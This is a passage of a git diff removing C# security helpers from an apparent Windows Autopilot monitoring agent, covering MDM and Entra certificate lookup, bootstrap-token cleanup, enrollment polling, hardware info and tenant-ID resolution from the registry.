Standard Time" }, - { "Asia/Taipei", "Taipei Standard Time" }, - { "Asia/Singapore", "Singapore Standard Time" }, - { "Asia/Kuala_Lumpur", "Singapore Standard Time" }, - { "Asia/Bangkok", "SE Asia Standard Time" }, - { "Asia/Jakarta", "SE Asia Standard Time" }, - { "Asia/Ho_Chi_Minh", "SE Asia Standard Time" }, - { "Asia/Kolkata", "India Standard Time" }, - { "Asia/Calcutta", "India Standard Time" }, - { "Asia/Colombo", "Sri Lanka Standard Time" }, - { "Asia/Karachi", "Pakistan Standard Time" }, - { "Asia/Dhaka", "Bangladesh Standard Time" }, - { "Asia/Kathmandu", "Nepal Standard Time" }, - { "Asia/Almaty", "Central Asia Standard Time" }, - { "Asia/Tashkent", "West Asia Standard Time" }, - { "Asia/Dubai", "Arabian Standard Time" }, - { "Asia/Muscat", "Arabian Standard Time" }, - { "Asia/Riyadh", "Arab Standard Time" }, - { "Asia/Kuwait", "Arab Standard Time" }, - { "Asia/Baghdad", "Arabic Standard Time" }, - { "Asia/Tehran", "Iran Standard Time" }, - { "Asia/Kabul", "Afghanistan Standard Time" }, - { "Asia/Baku", "Azerbaijan Standard Time" }, - { "Asia/Tbilisi", "Georgian Standard Time" }, - { "Asia/Yerevan", "Caucasus Standard Time" }, - { "Asia/Jerusalem", "Israel Standard Time" }, - { "Asia/Beirut", "Middle East Standard Time" }, - { "Asia/Yangon", "Myanmar Standard Time" }, - { "Asia/Vladivostok", "Vladivostok Standard Time" }, - { "Asia/Yakutsk", "Yakutsk Standard Time" }, - { "Asia/Krasnoyarsk", "North Asia Standard Time" }, - { "Asia/Novosibirsk", "N. Central Asia Standard Time" }, - { "Asia/Irkutsk", "North Asia East Standard Time" }, - - // Oceania - { "Australia/Sydney", "AUS Eastern Standard Time" }, - { "Australia/Melbourne", "AUS Eastern Standard Time" }, - { "Australia/Brisbane", "E. Australia Standard Time" }, - { "Australia/Perth", "W. Australia Standard Time" }, - { "Australia/Adelaide", "Cen. Australia Standard Time" }, - { "Australia/Darwin", "AUS Central Standard Time" }, - { "Australia/Hobart", "Tasmania Standard Time" }, - { "Pacific/Auckland", "New Zealand Standard Time" }, - { "Pacific/Fiji", "Fiji Standard Time" }, - { "Pacific/Guam", "West Pacific Standard Time" }, - { "Pacific/Port_Moresby", "West Pacific Standard Time" }, - - // Africa - { "Africa/Cairo", "Egypt Standard Time" }, - { "Africa/Johannesburg", "South Africa Standard Time" }, - { "Africa/Lagos", "W. Central Africa Standard Time" }, - { "Africa/Nairobi", "E. Africa Standard Time" }, - { "Africa/Casablanca", "Morocco Standard Time" }, - { "Africa/Windhoek", "Namibia Standard Time" }, - }; - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Security/BootstrapConfigCleanup.cs b/src/Agent/AutopilotMonitor.Agent.Core/Security/BootstrapConfigCleanup.cs deleted file mode 100644 index 4e61e470..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Security/BootstrapConfigCleanup.cs +++ /dev/null @@ -1,152 +0,0 @@ -using System; -using System.IO; -using System.Net.Http; -using System.Security.Cryptography.X509Certificates; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared; - -namespace AutopilotMonitor.Agent.Core.Security -{ - /// - /// H-2 mitigation: removes the persisted bootstrap token (bootstrap-config.json) - /// once the agent has proven it can authenticate with its MDM client certificate. - /// - /// The bootstrap token is only needed during OOBE (before the MDM cert is issued). Leaving - /// it on disk after enrollment creates an unnecessary secret-at-rest window: %ProgramData% - /// grants BUILTIN\Users read access by default, so any post-OOBE interactive user - /// could exfiltrate the token and replay it against the bootstrap endpoints until expiry. - /// - /// The cleanup runs a single-shot, cert-authenticated probe against /api/agent/config - /// using a dedicated . If the probe succeeds, the file is deleted. - /// Any failure (cert missing, network error, non-2xx response) is logged and the file is - /// left in place — the next run will try again. This path is strictly additive: a failed - /// probe never disrupts the in-progress bootstrap session. - /// - public static class BootstrapConfigCleanup - { - private const string BootstrapConfigFileName = "bootstrap-config.json"; - - /// - /// Attempts to remove the persisted bootstrap-config.json after verifying the MDM client - /// certificate authenticates successfully against the backend. Safe no-op if the agent - /// is not in bootstrap-token mode, the file is absent, the cert is missing, or the - /// probe call fails. - /// - public static async Task TryDeleteIfCertReadyAsync( - AgentConfiguration configuration, - AgentLogger logger, - string agentVersion) - { - if (configuration == null || !configuration.UseBootstrapTokenAuth) - return; - - var bootstrapPath = Path.Combine( - Environment.ExpandEnvironmentVariables(Constants.AgentDataDirectory), - BootstrapConfigFileName); - - if (!File.Exists(bootstrapPath)) - return; - - X509Certificate2 cert; - try - { - cert = CertificateHelper.FindMdmCertificate(logger: logger); - } - catch (Exception ex) - { - logger?.Warning($"Bootstrap cleanup: MDM cert lookup threw ({ex.Message}), keeping {BootstrapConfigFileName}"); - return; - } - - if (cert == null) - { - logger?.Info($"Bootstrap cleanup: MDM cert not yet available, keeping {BootstrapConfigFileName}"); - return; - } - - var handler = new HttpClientHandler(); - handler.ClientCertificates.Add(cert); - - using (handler) - using (var http = new HttpClient(handler) { Timeout = TimeSpan.FromSeconds(10) }) - { - var request = BuildProbeRequest(configuration, agentVersion); - await ProbeAndDeleteCoreAsync(bootstrapPath, http, request, logger).ConfigureAwait(false); - } - } - - /// - /// Builds the probe request: GET /api/agent/config with the standard agent security - /// headers, but without the X-Bootstrap-Token header — authentication must come - /// from the TLS-layer client certificate alone. - /// - private static HttpRequestMessage BuildProbeRequest(AgentConfiguration configuration, string agentVersion) - { - var url = $"{configuration.ApiBaseUrl.TrimEnd('/')}{Constants.ApiEndpoints.GetAgentConfig}"; - var request = new HttpRequestMessage(HttpMethod.Get, url); - - if (!string.IsNullOrEmpty(configuration.TenantId)) - request.Headers.Add("X-Tenant-Id", configuration.TenantId); - - var hw = HardwareInfo.GetHardwareInfo(null); - if (!string.IsNullOrEmpty(hw.Manufacturer)) - request.Headers.Add("X-Device-Manufacturer", hw.Manufacturer); - if (!string.IsNullOrEmpty(hw.Model)) - request.Headers.Add("X-Device-Model", hw.Model); - if (!string.IsNullOrEmpty(hw.SerialNumber)) - request.Headers.Add("X-Device-SerialNumber", hw.SerialNumber); - if (!string.IsNullOrEmpty(agentVersion)) - request.Headers.Add("X-Agent-Version", agentVersion); - - var userAgent = string.IsNullOrEmpty(agentVersion) - ? "AutopilotMonitor.Agent" - : $"AutopilotMonitor.Agent/{agentVersion}"; - request.Headers.UserAgent.ParseAdd(userAgent); - - return request; - } - - /// - /// Pure-IO core: sends the probe, deletes the file on 2xx, logs + keeps on anything - /// else. Exposed internal for unit tests that inject a fake - /// . - /// - internal static async Task ProbeAndDeleteCoreAsync( - string bootstrapConfigPath, - HttpClient httpClient, - HttpRequestMessage request, - AgentLogger logger) - { - try - { - using (request) - using (var response = await httpClient.SendAsync(request).ConfigureAwait(false)) - { - if (response.IsSuccessStatusCode) - { - try - { - if (File.Exists(bootstrapConfigPath)) - File.Delete(bootstrapConfigPath); - logger?.Info("Bootstrap cleanup: cert probe succeeded — bootstrap-config.json removed, cert auth is now operational"); - } - catch (Exception delEx) - { - logger?.Warning($"Bootstrap cleanup: cert probe succeeded but delete failed ({delEx.Message}); will retry on next run"); - } - } - else - { - logger?.Warning($"Bootstrap cleanup: cert probe returned HTTP {(int)response.StatusCode}, keeping {BootstrapConfigFileName}"); - } - } - } - catch (Exception ex) - { - logger?.Warning($"Bootstrap cleanup: cert probe failed ({ex.Message}), keeping {BootstrapConfigFileName}"); - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Security/CertificateHelper.cs b/src/Agent/AutopilotMonitor.Agent.Core/Security/CertificateHelper.cs deleted file mode 100644 index 64d9cf69..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Security/CertificateHelper.cs +++ /dev/null @@ -1,115 +0,0 @@ -using System; -using System.Linq; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using AutopilotMonitor.Agent.Core.Logging; - -namespace AutopilotMonitor.Agent.Core.Security -{ - /// - /// Helper for finding and validating MDM client certificates - /// - public static class CertificateHelper - { - /// - /// Finds the MDM device certificate for client authentication - /// - /// Optional specific thumbprint to search for - /// Logger for diagnostic output - /// The MDM certificate, or null if not found - public static X509Certificate2 FindMdmCertificate(string thumbprint = null, AgentLogger logger = null) - { - try - { - // Search locations for MDM certificate - var stores = new[] - { - new { Location = StoreLocation.LocalMachine, Name = StoreName.My }, - new { Location = StoreLocation.CurrentUser, Name = StoreName.My } - }; - - foreach (var storeInfo in stores) - { - using (var store = new X509Store(storeInfo.Name, storeInfo.Location)) - { - store.Open(OpenFlags.ReadOnly); - - logger?.Debug($"Searching for MDM certificate in {storeInfo.Location}\\{storeInfo.Name}"); - - // If thumbprint specified, search by thumbprint - if (!string.IsNullOrEmpty(thumbprint)) - { - var cert = store.Certificates - .Find(X509FindType.FindByThumbprint, thumbprint, validOnly: false) - .OfType() - .FirstOrDefault(); - - if (cert != null) - { - logger?.Info($"Found certificate by thumbprint: {thumbprint}"); - return cert; - } - } - else - { - // Auto-detect MDM certificate by issuer and EKU. - // Match ONLY "CN=Microsoft Intune MDM Device CA" — NOT - // "CN=Microsoft Intune Device Management Device CA" (MMP-C stack), - // which is co-installed on dual-enrolled devices and chains to a - // different intermediate the backend does not pin. A broader - // substring match on "Microsoft Intune" would let the MMP-C cert - // win the NotAfter tiebreaker and produce ChainFailed at the backend. - var mdmCerts = store.Certificates - .OfType() - .Where(c => - { - var issuerIsMdm = string.Equals( - c.Issuer, - "CN=Microsoft Intune MDM Device CA", - StringComparison.OrdinalIgnoreCase); - - // Check Enhanced Key Usage for Client Authentication (1.3.6.1.5.5.7.3.2) - var hasClientAuth = c.Extensions - .OfType() - .Any(ext => ext.EnhancedKeyUsages - .OfType() - .Any(oid => oid.Value == "1.3.6.1.5.5.7.3.2")); - - return issuerIsMdm && hasClientAuth; - }) - .OrderByDescending(c => c.NotAfter) // Prefer certs with longer validity - .ToList(); - - if (mdmCerts.Any()) - { - var cert = mdmCerts.First(); - logger?.Info($"Found MDM certificate: Issuer={cert.Issuer}, Subject={cert.Subject}, Thumbprint={cert.Thumbprint}"); - return cert; - } - } - } - } - - logger?.Warning("No MDM certificate found"); - return null; - } - catch (Exception ex) - { - logger?.Error("Error finding MDM certificate", ex); - return null; - } - } - - /// - /// Validates that a certificate is still valid - /// - public static bool IsCertificateValid(X509Certificate2 certificate) - { - if (certificate == null) - return false; - - var now = DateTime.UtcNow; - return now >= certificate.NotBefore && now <= certificate.NotAfter; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Security/EnrollmentAwaiter.cs b/src/Agent/AutopilotMonitor.Agent.Core/Security/EnrollmentAwaiter.cs deleted file mode 100644 index a7cc4b94..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Security/EnrollmentAwaiter.cs +++ /dev/null @@ -1,166 +0,0 @@ -using System; -using System.Linq; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; - -namespace AutopilotMonitor.Agent.Core.Security -{ - /// - /// Waits for an Intune MDM certificate to appear in the certificate store. - /// Used in await-enrollment mode when the agent is deployed before MDM enrollment completes. - /// Polls CertificateHelper.FindMdmCertificate() at a fixed interval (Timer-based, no busy-wait). - /// - public static class EnrollmentAwaiter - { - private static readonly TimeSpan PollInterval = TimeSpan.FromSeconds(5); - private static readonly TimeSpan LogInterval = TimeSpan.FromMinutes(1); - - /// - /// Polls the certificate store until a valid MDM certificate is found or the timeout expires. - /// - public static async Task WaitForMdmCertificateAsync( - string thumbprint = null, - int timeoutMinutes = 480, - AgentLogger logger = null, - CancellationToken cancellationToken = default) - { - var timeoutDisplay = timeoutMinutes > 0 ? $"{timeoutMinutes}min" : "unlimited"; - logger?.Info($"Await-enrollment: Waiting for MDM certificate (timeout: {timeoutDisplay}, poll interval: {PollInterval.TotalSeconds}s)"); - - var startTime = DateTime.UtcNow; - var timeout = timeoutMinutes > 0 ? TimeSpan.FromMinutes(timeoutMinutes) : TimeSpan.MaxValue; - var lastLogTime = DateTime.MinValue; - - while (!cancellationToken.IsCancellationRequested) - { - var cert = CertificateHelper.FindMdmCertificate(thumbprint, logger); - - if (cert != null) - { - // No IsCertificateValid check here: freshly provisioned SCEP certs can have - // a NotBefore slightly in the future due to clock skew between device and CA. - // The cert existing in the store with correct issuer+EKU is sufficient. - var elapsed = DateTime.UtcNow - startTime; - logger?.Info($"Await-enrollment: MDM certificate found after {FormatElapsed(elapsed)} — " + - $"Issuer={cert.Issuer}, Thumbprint={cert.Thumbprint}, " + - $"Valid={cert.NotBefore:yyyy-MM-dd HH:mm:ss}..{cert.NotAfter:yyyy-MM-dd HH:mm:ss}"); - return cert; - } - - var totalElapsed = DateTime.UtcNow - startTime; - - if (totalElapsed >= timeout) - { - logger?.Warning($"Await-enrollment: Timeout after {FormatElapsed(totalElapsed)} — no MDM certificate found"); - LogCertificateStoreDetails(logger); - return null; - } - - // Periodic status with cert counts (every 1 minute) - if (DateTime.UtcNow - lastLogTime >= LogInterval) - { - var remaining = timeout - totalElapsed; - var storeSummary = GetCertificateStoreSummary(); - logger?.Info($"Await-enrollment: Waiting for MDM certificate... " + - $"(elapsed: {FormatElapsed(totalElapsed)}, remaining: {FormatElapsed(remaining)}, {storeSummary})"); - lastLogTime = DateTime.UtcNow; - } - - try - { - await Task.Delay(PollInterval, cancellationToken); - } - catch (TaskCanceledException) - { - break; - } - } - - logger?.Info("Await-enrollment: Cancelled"); - return null; - } - - /// - /// Returns a short summary of cert counts per store, e.g. "LocalMachine=2, CurrentUser=0". - /// - private static string GetCertificateStoreSummary() - { - try - { - int lmCount = 0, cuCount = 0; - - using (var store = new X509Store(StoreName.My, StoreLocation.LocalMachine)) - { - store.Open(OpenFlags.ReadOnly); - lmCount = store.Certificates.Count; - } - - using (var store = new X509Store(StoreName.My, StoreLocation.CurrentUser)) - { - store.Open(OpenFlags.ReadOnly); - cuCount = store.Certificates.Count; - } - - return $"certs in store: LM={lmCount}, CU={cuCount}"; - } - catch - { - return "certs in store: unknown"; - } - } - - /// - /// Full cert store dump — only on timeout to help diagnose why no MDM cert was matched. - /// - private static void LogCertificateStoreDetails(AgentLogger logger) - { - if (logger == null) return; - - try - { - var stores = new[] - { - new { Location = StoreLocation.LocalMachine, Name = StoreName.My }, - new { Location = StoreLocation.CurrentUser, Name = StoreName.My } - }; - - foreach (var storeInfo in stores) - { - using (var store = new X509Store(storeInfo.Name, storeInfo.Location)) - { - store.Open(OpenFlags.ReadOnly); - var certs = store.Certificates.OfType().ToList(); - - logger.Info($"Await-enrollment: {storeInfo.Location}\\{storeInfo.Name} — {certs.Count} certificate(s):"); - - foreach (var cert in certs) - { - var hasClientAuth = cert.Extensions - .OfType() - .Any(ext => ext.EnhancedKeyUsages - .OfType() - .Any(oid => oid.Value == "1.3.6.1.5.5.7.3.2")); - - logger.Info($" - Issuer={cert.Issuer}, Thumbprint={cert.Thumbprint}, " + - $"ClientAuth={hasClientAuth}, Valid={cert.NotBefore:yyyy-MM-dd}..{cert.NotAfter:yyyy-MM-dd}"); - } - } - } - } - catch (Exception ex) - { - logger.Warning($"Await-enrollment: Could not read certificate store: {ex.Message}"); - } - } - - private static string FormatElapsed(TimeSpan elapsed) - { - if (elapsed.TotalHours >= 1) - return $"{(int)elapsed.TotalHours}h{elapsed.Minutes:D2}m"; - return $"{(int)elapsed.TotalMinutes}m{elapsed.Seconds:D2}s"; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Security/EntraDeviceCertHelper.cs b/src/Agent/AutopilotMonitor.Agent.Core/Security/EntraDeviceCertHelper.cs deleted file mode 100644 index adc6cb61..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Security/EntraDeviceCertHelper.cs +++ /dev/null @@ -1,161 +0,0 @@ -using System; -using System.Linq; -using System.Security.Cryptography.X509Certificates; -using AutopilotMonitor.Agent.Core.Logging; - -namespace AutopilotMonitor.Agent.Core.Security -{ - /// - /// Reads the Entra TenantId / DeviceId out of the MS-Organization-Access device - /// certificate that Windows installs into LocalMachine\My when AAD-Join completes. - /// - /// Useful as a fallback for : in the Autopilot - /// pre-provisioning / hybrid window the cert can land BEFORE the - /// HKLM\SYSTEM\CurrentControlSet\Control\CloudDomainJoin\TenantInfo and - /// JoinInfo registry writes finish, so the cert carries the TenantId while - /// every registry probe still misses. - /// - /// - /// Both GUIDs live as ASN.1 OCTET STRING extensions on the cert: - /// - /// - /// 1.2.840.113556.1.5.284.5 → TenantId (16 bytes, MS little-endian binary GUID) - /// 1.2.840.113556.1.5.284.2 → DeviceId (same encoding) - /// - /// - /// All probes are best-effort: never throw, return null on miss, log a Warning - /// with the specific failure reason (no matching cert / extension missing / ASN.1 - /// parse failed) so the agent log explains why the fallback didn't help. - /// - /// - public static class EntraDeviceCertHelper - { - public const string MsOrganizationAccessIssuer = "MS-Organization-Access"; - public const string TenantIdOid = "1.2.840.113556.1.5.284.5"; - public const string DeviceIdOid = "1.2.840.113556.1.5.284.2"; - - /// - /// Reads the Entra TenantId from the MS-Organization-Access device cert. - /// Returns null if no currently-valid cert is present, the OID extension - /// is missing, or the ASN.1 parse failed. - /// - public static Guid? TryGetTenantIdFromCert(AgentLogger logger = null) => - TryReadGuidExtension(TenantIdOid, "TenantId", logger); - - /// - /// Reads the Entra DeviceId from the MS-Organization-Access device cert. - /// - public static Guid? TryGetDeviceIdFromCert(AgentLogger logger = null) => - TryReadGuidExtension(DeviceIdOid, "DeviceId", logger); - - private static Guid? TryReadGuidExtension(string oid, string label, AgentLogger logger) - { - if (string.IsNullOrEmpty(oid)) return null; - - try - { - using (var store = new X509Store(StoreName.My, StoreLocation.LocalMachine)) - { - store.Open(OpenFlags.ReadOnly); - - var now = DateTime.UtcNow; - var candidates = store.Certificates - .OfType() - .Where(c => c.Issuer != null - && c.Issuer.IndexOf(MsOrganizationAccessIssuer, StringComparison.OrdinalIgnoreCase) >= 0) - .Where(c => c.NotBefore <= now && c.NotAfter >= now) - // Latest-expiring cert first — defends against an expired sibling from a prior enrollment lingering in the store. - .OrderByDescending(c => c.NotAfter) - .ToList(); - - if (candidates.Count == 0) - { - logger?.Warning( - $"EntraDeviceCertHelper: no currently-valid '{MsOrganizationAccessIssuer}' cert found in LocalMachine\\My — device likely not yet AAD-joined."); - return null; - } - - foreach (var cert in candidates) - { - var ext = cert.Extensions - .OfType() - .FirstOrDefault(e => e.Oid != null && e.Oid.Value == oid); - - if (ext == null || ext.RawData == null) - { - logger?.Debug( - $"EntraDeviceCertHelper: cert thumbprint={cert.Thumbprint} carries no {label} extension (OID={oid}); trying next candidate."); - continue; - } - - var guid = ParseGuidFromAsn1OctetString(ext.RawData); - if (guid != null) - { - logger?.Info( - $"EntraDeviceCertHelper: read {label}={guid.Value} from {MsOrganizationAccessIssuer} cert " + - $"(thumbprint={cert.Thumbprint}, NotAfter={cert.NotAfter:yyyy-MM-ddTHH:mm:ssZ})."); - return guid; - } - - logger?.Warning( - $"EntraDeviceCertHelper: failed to parse {label} ASN.1 OCTET STRING in cert thumbprint={cert.Thumbprint} " + - $"(raw {ext.RawData.Length} bytes); trying next candidate."); - } - - logger?.Warning( - $"EntraDeviceCertHelper: {candidates.Count} matching cert(s) present but none yielded a parseable {label} extension."); - return null; - } - } - catch (Exception ex) - { - logger?.Warning($"EntraDeviceCertHelper: probe for {label} failed — {ex.GetType().Name}: {ex.Message}"); - return null; - } - } - - /// - /// Parses a 16-byte MS-format binary GUID (little-endian for the first three groups, - /// per ) wrapped in an ASN.1 OCTET STRING. Handles both - /// short-form (04 10 ...) and long-form (04 81 10 ...) length encoding. - /// Returns null on any structural mismatch — never throws. - /// - public static Guid? ParseGuidFromAsn1OctetString(byte[] raw) - { - if (raw == null || raw.Length < 2) return null; - - // ASN.1 OCTET STRING tag. - if (raw[0] != 0x04) return null; - - int contentStart; - int contentLen; - - if (raw[1] < 0x80) - { - // short-form length - contentLen = raw[1]; - contentStart = 2; - } - else - { - // long-form length: lower 7 bits = number of following length bytes. - int numLenBytes = raw[1] & 0x7F; - if (numLenBytes < 1 || numLenBytes > 4 || raw.Length < 2 + numLenBytes) return null; - - contentLen = 0; - for (int i = 0; i < numLenBytes; i++) - contentLen = (contentLen << 8) | raw[2 + i]; - - contentStart = 2 + numLenBytes; - } - - if (contentLen != 16 || contentStart + 16 > raw.Length) return null; - - var guidBytes = new byte[16]; - Buffer.BlockCopy(raw, contentStart, guidBytes, 0, 16); - - try { return new Guid(guidBytes); } - catch { return null; } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Security/HardwareInfo.cs b/src/Agent/AutopilotMonitor.Agent.Core/Security/HardwareInfo.cs deleted file mode 100644 index e76cc670..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Security/HardwareInfo.cs +++ /dev/null @@ -1,82 +0,0 @@ -using System; -using System.Management; -using AutopilotMonitor.Agent.Core.Logging; - -namespace AutopilotMonitor.Agent.Core.Security -{ - /// - /// Helper for retrieving hardware information - /// - public static class HardwareInfo - { - /// - /// Gets the device manufacturer and model from WMI - /// - /// Logger for diagnostic output - /// Tuple of (Manufacturer, Model, SerialNumber) - public static (string Manufacturer, string Model, string SerialNumber) GetHardwareInfo(AgentLogger logger = null) - { - string manufacturer = "Unknown"; - string model = "Unknown"; - string serialNumber = "Unknown"; - - try - { - // Get Manufacturer and Model from Win32_ComputerSystem - // Lenovo reports the marketing model name in Win32_ComputerSystemProduct.Version - // instead of Win32_ComputerSystem.Model (which contains a generic platform string) - using (var searcher = new ManagementObjectSearcher("SELECT Manufacturer, Model FROM Win32_ComputerSystem")) - using (var collection = searcher.Get()) - { - foreach (var obj in collection) - { - using (obj) - { - manufacturer = obj["Manufacturer"]?.ToString() ?? "Unknown"; - if (manufacturer.IndexOf("lenovo", StringComparison.OrdinalIgnoreCase) >= 0) - { - using (var lenovoSearcher = new ManagementObjectSearcher("SELECT Version FROM Win32_ComputerSystemProduct")) - using (var lenovoCollection = lenovoSearcher.Get()) - { - foreach (var lenovoObj in lenovoCollection) - { - using (lenovoObj) - { - model = lenovoObj["Version"]?.ToString() ?? "Unknown"; - } - break; - } - } - } - else - { - model = obj["Model"]?.ToString() ?? "Unknown"; - } - } - } - } - - // Get Serial Number from Win32_BIOS - using (var searcher = new ManagementObjectSearcher("SELECT SerialNumber FROM Win32_BIOS")) - using (var collection = searcher.Get()) - { - foreach (var obj in collection) - { - using (obj) - { - serialNumber = obj["SerialNumber"]?.ToString() ?? "Unknown"; - } - } - } - - logger?.Debug($"Hardware detected: Manufacturer={manufacturer}, Model={model}, SerialNumber={serialNumber}"); - return (manufacturer, model, serialNumber); - } - catch (Exception ex) - { - logger?.Error("Error retrieving hardware information", ex); - return ("Unknown", "Unknown", "Unknown"); - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Security/SystemPaths.cs b/src/Agent/AutopilotMonitor.Agent.Core/Security/SystemPaths.cs deleted file mode 100644 index 1281a31c..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Security/SystemPaths.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System; -using System.IO; - -namespace AutopilotMonitor.Agent.Core.Security -{ - /// - /// Resolved absolute paths to Windows system binaries. - /// - /// Rationale: launching processes by bare name (e.g. "cmd.exe", "tzutil") lets - /// Windows walk the PATH to find them. As SYSTEM this is a DLL/binary-hijacking - /// vector — an attacker able to plant a file in any PATH entry ahead of System32 - /// gets code execution with SYSTEM privileges. Always use these resolved paths. - /// - /// respects WOW64 redirection - /// automatically: - /// - 64-bit process on any Windows → C:\Windows\System32 - /// - 32-bit process on 64-bit Windows → C:\Windows\SysWOW64 - /// The agent ships as AnyCPU/net48 and runs 64-bit on 64-bit Windows, so this - /// resolves to the real System32. It also honors non-default %SystemRoot% - /// (rare, but seen in custom OEM images on drives other than C:). - /// - /// All listed binaries are in-box on every supported Windows version - /// (Windows 7 / 8.1 / 10 / 11 / Server 2012R2 – 2025). - /// - public static class SystemPaths - { - private static readonly string System32 = Environment.SystemDirectory; - - /// C:\Windows\System32\cmd.exe - public static readonly string Cmd = Path.Combine(System32, "cmd.exe"); - - /// C:\Windows\System32\shutdown.exe - public static readonly string Shutdown = Path.Combine(System32, "shutdown.exe"); - - /// C:\Windows\System32\tzutil.exe - public static readonly string TzUtil = Path.Combine(System32, "tzutil.exe"); - - /// C:\Windows\System32\netsh.exe - public static readonly string Netsh = Path.Combine(System32, "netsh.exe"); - - /// - /// C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - /// Note: the "v1.0" folder is historical — it hosts every in-box PowerShell - /// version including 5.1 on Windows 10/11. Do not "fix" it to v5.1. - /// - public static readonly string PowerShell = Path.Combine(System32, "WindowsPowerShell", "v1.0", "powershell.exe"); - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Security/TenantIdResolver.cs b/src/Agent/AutopilotMonitor.Agent.Core/Security/TenantIdResolver.cs deleted file mode 100644 index 0967cd5c..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Security/TenantIdResolver.cs +++ /dev/null @@ -1,494 +0,0 @@ -using System; -using System.Collections.Generic; -using AutopilotMonitor.Agent.Core.Logging; -using Microsoft.Win32; - -namespace AutopilotMonitor.Agent.Core.Security -{ - /// - /// Resolves the device's AAD TenantId from one of several Windows registry signals. - /// - /// All registry reads go through the explicit - /// view, never . Reason: SDK-style net48 EXEs - /// may resolve AnyCPU to 32-bit at runtime depending on MSBuild defaults, in which - /// case HKLM\SOFTWARE\Microsoft\Enrollments silently redirects to the - /// WOW6432Node mirror, a different (and on most devices stale/empty) hive - /// that never carries the active MDM enrollment. Forcing Registry64 makes the - /// resolver bitness-independent regardless of how AnyCPU resolves at runtime. - /// - /// - /// Probe order, first non-empty hit wins: - /// - /// - /// - /// HKLM\SOFTWARE\Microsoft\Enrollments\{guid} with EnrollmentType=6 - /// (Intune MDM) and AADTenantID. Authoritative once MDM enrollment finished. - /// - /// - /// Same root, any other EnrollmentType with a non-empty AADTenantID - /// (e.g. Type=26 AAD-Join entry stamped during Autopilot pre-provisioning with the - /// fooUser@…onmicrosoft.com placeholder). Picks up the TenantID before the - /// Type=6 sub-key has been fully populated — observed in hybrid/pre-provisioning - /// flows where Type=6 sits at EnrollmentState=1 (Discovered) with - /// AADTenantID still missing. - /// - /// - /// HKLM\SYSTEM\CurrentControlSet\Control\CloudDomainJoin\TenantInfo\{TenantId} - /// — the sub-key name itself is the TenantId GUID. Written by AAD join, which in - /// Autopilot/OOBE happens before MDM enrollment. - /// - /// - /// HKLM\SYSTEM\CurrentControlSet\Control\CloudDomainJoin\JoinInfo\{thumbprint} - /// value TenantId. Same AAD-join phase as TenantInfo, used as a secondary - /// reading because some flows populate one but not the other. - /// - /// - /// MS-Organization-Access device cert in LocalMachine\My, OID - /// 1.2.840.113556.1.5.284.5. Last-resort synchronous probe — the cert can - /// land before the CloudDomainJoin registry writes complete, so this lets the agent - /// boot without falling through to the registry-watcher awaiter and burning the - /// 600s wait window. See . - /// - /// - /// - /// Returns null when no source carries a TenantId. Never throws. On miss the - /// resolver dumps a compact diagnostic summary so the agent log carries enough - /// evidence to classify "device truly not enrolled" vs. "agent fired before - /// enrollment finished writing". - /// - /// - public static class TenantIdResolver - { - private const string EnrollmentsKeyPath = @"SOFTWARE\Microsoft\Enrollments"; - private const string CloudDomainJoinTenantInfoPath = @"SYSTEM\CurrentControlSet\Control\CloudDomainJoin\TenantInfo"; - private const string CloudDomainJoinJoinInfoPath = @"SYSTEM\CurrentControlSet\Control\CloudDomainJoin\JoinInfo"; - private const int IntuneMdmEnrollmentType = 6; - - public const string SourceEnrollmentsRegistry = "enrollments_registry"; - public const string SourceEnrollmentsRegistryFallback = "enrollments_registry_fallback"; - public const string SourceCloudDomainJoinTenantInfo = "cloud_domain_join_tenant_info"; - public const string SourceCloudDomainJoinJoinInfo = "cloud_domain_join_join_info"; - public const string SourceMsOrganizationAccessCert = "ms_organization_access_cert"; - - /// - /// Tries each probe in order and returns the first non-empty TenantId. - /// Logs the winning source at Info level. On full miss, logs a diagnostic - /// summary at Warning level. Returns null when nothing resolves. - /// - public static string Resolve(AgentLogger logger = null) - { - var diagnostics = new ResolverDiagnostics(); - - var fromEnrollments = TryEnrollmentsRegistry(diagnostics); - if (!string.IsNullOrEmpty(fromEnrollments)) - { - logger?.Info($"TenantIdResolver: resolved TenantId={fromEnrollments} from {SourceEnrollmentsRegistry}."); - return fromEnrollments; - } - - var fromEnrollmentsFallback = TryEnrollmentsRegistryFallback(diagnostics, out var fallbackType, out var fallbackUpn); - if (!string.IsNullOrEmpty(fromEnrollmentsFallback)) - { - logger?.Info($"TenantIdResolver: resolved TenantId={fromEnrollmentsFallback} from {SourceEnrollmentsRegistryFallback} (Type={fallbackType}; UPN={FormatUpnForLog(fallbackUpn)}; no Type=6 sub-key carried AADTenantID yet — typical Autopilot pre-provisioning / hybrid window)."); - return fromEnrollmentsFallback; - } - - var fromTenantInfo = TryCloudDomainJoinTenantInfo(diagnostics); - if (!string.IsNullOrEmpty(fromTenantInfo)) - { - logger?.Info($"TenantIdResolver: resolved TenantId={fromTenantInfo} from {SourceCloudDomainJoinTenantInfo} (Enrollments registry had no Intune MDM hit)."); - return fromTenantInfo; - } - - var fromJoinInfo = TryCloudDomainJoinJoinInfo(diagnostics); - if (!string.IsNullOrEmpty(fromJoinInfo)) - { - logger?.Info($"TenantIdResolver: resolved TenantId={fromJoinInfo} from {SourceCloudDomainJoinJoinInfo} (Enrollments registry + CloudDomainJoin\\TenantInfo had no 